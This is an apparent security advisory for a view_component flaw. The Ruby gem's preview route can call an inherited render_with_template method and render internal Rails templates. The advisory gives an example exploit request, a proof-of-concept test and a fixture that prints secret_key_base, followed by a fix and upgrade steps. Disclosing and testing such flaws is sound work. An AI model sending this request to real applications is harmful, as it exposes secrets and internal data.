GHSA-7f3r-gwc9-2995 CVE-2026-44836
view_component: Preview Route Can Dispatch Inherited Helper Methods
- Severity
- 6.5 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.34%
- Chance of exploitation in the next 30 days. Higher than 27.90% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
4.9.0- Upgrade view_component to this version or later
Description
Summary
The preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.
As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:.
If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.
Severity: High if preview routes are externally reachable; Medium otherwise.
Affected files:
lib/view_component/preview.rbapp/controllers/concerns/view_component/preview_actions.rbapp/views/view_components/preview.html.erb
Relevant Code
app/controllers/concerns/view_component/preview_actions.rb:
@example_name = File.basename(params[:path])
@render_args = @preview.render_args(@example_name, params: params.permit!)
lib/view_component/preview.rb:
example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)
app/views/view_components/preview.html.erb:
<%= render template: @render_args[:template], locals: @render_args[:locals] || {} %>
The UI only lists direct preview methods via:
public_instance_methods(false).map(&:to_s).sort
But render_args does not enforce that list before dispatching.
Exploit Flow
Example request:
GET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request
Flow:
my_componentresolves to a valid preview.File.basename(params[:path])returnsrender_with_template.render_argscalls inheritedViewComponent::Preview#render_with_template.- Request params provide
template: "internal/secret"andlocals: {...}. - The preview view renders
internal/secretwith attacker-controlled locals.
Impact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.
PoC Test
This checkout already contains a PoC at:
test/sandbox/test/security_preview_template_poc_test.rbtest/sandbox/app/views/internal/secret.html.erb
The test proves that /internal/secret is not directly routable, but can still be rendered through the preview endpoint by invoking inherited render_with_template.
If reproducing manually, run:
bundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb
Equivalent standalone test:
# frozen_string_literal: true
require "test_helper"
class SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest
def setup
ViewComponent::Preview.__vc_load_previews
end
def test_preview_route_can_invoke_inherited_render_with_template
refute_includes MyComponentPreview.examples, "render_with_template"
assert_raises(ActionController::RoutingError) do
Rails.application.routes.recognize_path("/internal/secret")
end
get(
"/rails/view_components/my_component/render_with_template",
params: {
template: "internal/secret",
locals: {poc_local: "attacker-controlled-local"},
request_marker: "attacker-controlled-request"
}
)
assert_response :success
assert_includes response.body, "VC_PREVIEW_POC_SECRET=foo"
assert_includes response.body, "VC_PREVIEW_POC_LOCAL=attacker-controlled-local"
assert_includes response.body, "VC_PREVIEW_POC_REQUEST=attacker-controlled-request"
end
end
Fixture template:
<div id="poc-secret">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div>
<div id="poc-local">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns["poc_local"] %></div>
<div id="poc-request">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div>
Suggested Fix
Only dispatch explicitly declared preview examples:
def render_args(example, params: {})
example = example.to_s
raise AbstractController::ActionNotFound unless examples.include?(example)
example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)
result ||= {}
result[:template] = preview_example_template_path(example) if result[:template].nil?
@layout = nil unless defined?(@layout)
result.merge(layout: @layout)
end
Add a regression test that /rails/view_components/my_component/render_with_template fails unless render_with_template is explicitly defined as a preview example on that class.
Affected versions
RubyGems
| Package | Vulnerable | Fixed in |
|---|---|---|
| view_component | >= 3.0.0, < 4.9.0 |
4.9.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
view_component RubyGems → 4.9.0
- bundler
bundle update view_component # Gemfile: gem "view_component", ">= 4.9.0"
Severity breakdown
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-277: Insecure Inherited Permissions
A product defines a set of insecure permissions that are inherited by objects that are created by the program.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CWE-749: Exposed Dangerous Method or Function
The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.
How to prevent it
- Architecture and Design: If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.
- Architecture and Design, Implementation: Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be: accessible to all users restricted to a small set of privileged users prevented from being directly accessible at all Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-9h85-g7w3-rh49 ViewComponent: Reused Component Instances Retain Stale Render Context | Medium | Also affects view_component |
| GHSA-97jw-64cj-jc58 ViewComponent: around_render HTML-Safety Bypass | High | Also affects view_component |
| GHSA-hg3h-g7xc-f7vp view_component: System Test Entry Point Path Check Allows Sibling Directory Escape | High | Also affects view_component |
| GHSA-wf2x-8w6j-qw37 view_component Cross-site Scripting vulnerability | Medium | Also affects view_component |
| GHSA-cm9w-c4rj-r2cf Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in view_component | High | Also affects view_component |
| GHSA-q3jj-46pq-826r OpenClaw's ACP child sessions inherit subagent security envelope constraints | Medium | Same weakness, CWE-277 |
| GHSA-j6xf-jwrj-v5qp Coder vulnerable to privilege escalation could lead to a cross workspace compromise | High | Same weakness, CWE-277 |
| GHSA-g5hv-r743-v8pm Apache Airflow has DAG Author Code Execution possibility in airflow-scheduler | High | Same weakness, CWE-277 |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor